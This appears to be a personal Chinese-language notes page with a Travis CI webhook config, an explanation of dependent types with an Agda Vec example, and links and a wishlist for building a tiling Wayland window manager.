pthread_attr_setstacksize

Reference¶

Travis CI¶

Notification¶

Travis CI - Notification

Gitter¶

notifications:
  webhooks:
    urls:
      - YOUR_WEBHOOK_URL
    on_success: change  # options: [always|never|change] default: always
    on_failure: always  # options: [always|never|change] default: always
    on_start: false     # default: false

Samples¶

Neovim
- C
- Multiple Build
- Multiple Test

Type Theory¶

Dependent Type¶

[跑去問 Ole 得到的說明 XD]

程式語言有個性質叫做 Phase distinction，不正式的來說就是 type （e.g. Int, String -> IO ()）與 term （e.g. 3, True）之間有明確的區別與界線 type 上面有自己的各種操作，term 上面也有自己的，通常是井水不犯河水，兩邊是不同的世界不會混在一起或者有交互作用。

現在假設 type 與 term 之間有交互作用，這樣排列組合起來會有 4 種情形：

terms depending on types
terms depending on terms
types depending on types
types depending on terms

terms depending on types ： term 由 type 決定，也就是說當 type 不同時，會得到不同的 term 。在什麼情形下會這樣子呢？例如 ad hoc polymorphism ：假設有個語言有兩種數字的型別 Int 與 Float ，都可以做加法，而這加法底下實作起來的方式其實不一樣，但我們還是想用同一個 operator _+_ 去做這件事情。這時候就是 type （ Int , Float）去決定 term （ Int 的加法, Float 的加法）
terms depending on terms ：由 term 決定 term ，就隨便一個你想得到的普通函數
types depending on types ：由 type 決定 type ，跟上面那條類似，只不過這次這函數是作用在 type 的層級上。例如 Haskell 的 _->_ ，讓你可以把兩個 type A, B 組成一個新的 type A -> B
types depending on terms ：由 term 決定 type ，這就是 dependent type 特別的地方了，例子待會舉

在幾乎所有語言，有 Phase distinction 的情形下，type 與 term 是分開的，就像天與地。但是當 term 能決定 type 時，phase distinction 就模糊掉了。 type 與 term 變成一種相對關係，term 上面有 type ， type 上面有更高層的 type ，可以無限一直疊上去我們把第一層 type 叫做 Set₀ （或直接簡稱 Set），更上一層叫 Set₁，再上一層叫 Set₂ …..

在有 phase distinction 的語言，term 與 type 上面有各自的操作，通常有不同的語法。但當現在你有無限層 type 的時候，總不能每一層都弄一種新語法，所以在 dependent type 語言裡， term 跟所有層的 type 都用同一套語言去操作他們，沒有區別。啊所以說那麼多 term 跟 type 混在一起到底是能幹嘛？

一些例子：

你的 type 現在可以超級精確： Vec ℕ 3 : 所有長度為 3 裡面裝 ℕ 的 list
無限的抽象化空間：現在唯一的限制是你的智商
讓電腦幫你寫程式：常常當 type 變精確時， term 的範圍會縮小並且會有許多限制去提示他應該長什麼樣子，這時候常常電腦都可以幫你猜出程式來
我臨時想不到幹來寫就對了啦

C++ STL 或是 Rust 裡的 Vector 就是個例子，我定 vector 的時候長的是 Vec<T> ，之後用的時候丟入我要的 type (好比 Vec<int>)，只不過 C++ 或 Rust 的 vector ，都是作用在同一層上 Vec<_> : Set₀ → Set₀ ，像例子的 Vec : Set₀ → ℕ → Set₀ 有把下面一層 (ℕ 的 term) 的東西提上來所以有 dependent type

module Test where

-- definition of natural number ℕ
data ℕ : Set where  -- ℕ is a Set₀
    zero : ℕ        -- zero is a ℕ
    suc : ℕ → ℕ     -- if `n` is a ℕ, then `suc n` is also a ℕ

one : ℕ
one = suc zero

二 : ℕ
二 = suc (suc zero)

data List (A : Set) : Set where     -- if `A` is a `Set₀`, then `List A` is a `Set₀`
    [] : List A                         -- `[]` is a `List A`
    _∷_ : (a : A) → List A → List A     -- if `a` is a `A`, and `xs` is a `List A`, then `a ∷ xs` is a `List A`

空的 : List ℕ
空的 = []

長一點der : List ℕ
長一點der = one ∷ (二 ∷ (suc zero ∷ []))

data Vec (A : Set) : ℕ → Set where
    [] : Vec A zero
    _∷_ : {n : ℕ} → (a : A) → Vec A n → Vec A (suc n)

長度是3 : Vec ℕ (suc (suc (suc zero)))
長度是3 = zero ∷ (zero ∷ (zero ∷ []))
-- 不用給長度 3，因為自動推得出來，所以第 26 行宣告時故意用 {n : ℕ} ，還可以縮寫成 ∀ {n}

Reference¶

VirtualGL¶

VLC¶

使用 VAAPI :

Tools -> Preferences -> Input/Codes -> Hardware-accelerated decoding: VA-API video decoder via X11.

Vulkan¶

A Brief Overview Of Vulkan API

Window Manager¶

X Window¶

Xlib¶

XCB¶

Wayland¶

Arch Wiki - Wayland

Projects¶

Waysome
- Waysome does not define any behaviour. It can be configured and scripted over an API, which allows the user to define the tiling, floating and overall behaviour.

Freedesktop¶

Extended Window Manager Hints

簡單 WM 範例¶

tinywm
rust-tinywm
tinywm-xcb.c
wtfwm <https://github.com/Kintaro/wtftw>
A window manager in Rust - 01
eyl-shell - A basic Weston desktop shell client

想要的狀況¶

自己想要的是想 Awesome WM 這樣的 Tilinig WM，而且可 configure 的空間很大。

心中的理想狀況 (亂列)：

使用 Wayland
多元設定檔支援 (多語言)
- 可以用 Python 寫 script
- 可以用 Lua 寫 script
- 可以用 Rust (編成 library，提供固定的 entry point，執行的 script 會去用它)
  
  [可能] 提供好用的 macro
Plugin
- 可以用 Rust 編成 library
- 可以用 Lua
- 可以用 Python
多螢幕支援
Awesome WM mode (所有 Awesome WM 的 feature)
Dependency 儘量少 (多種支援，但是要不要用是 Optional，要用再去裝)
速度儘量快
- 一些 Asynchronous 支援
- Multi-cores
- GPU
記憶體使用量儘量少
[極端] 使用者可以藉由編譯的設定檔來選擇要編進去的 feature，沒用到的 feature 就不用編進去，產生一個 library 帶著走
可編成一個靜態連結的 standalone 版本
HiDPI
預設有漂亮的外觀，提供多種 theme 的選擇
可在 local 只跑 client，遠端有 server 在計算，local 只負責畫圖

[TODO]

在不跑一整套原生環境的情況下，讓 GTK、KDE 程式可以漂亮顯示的注意事項。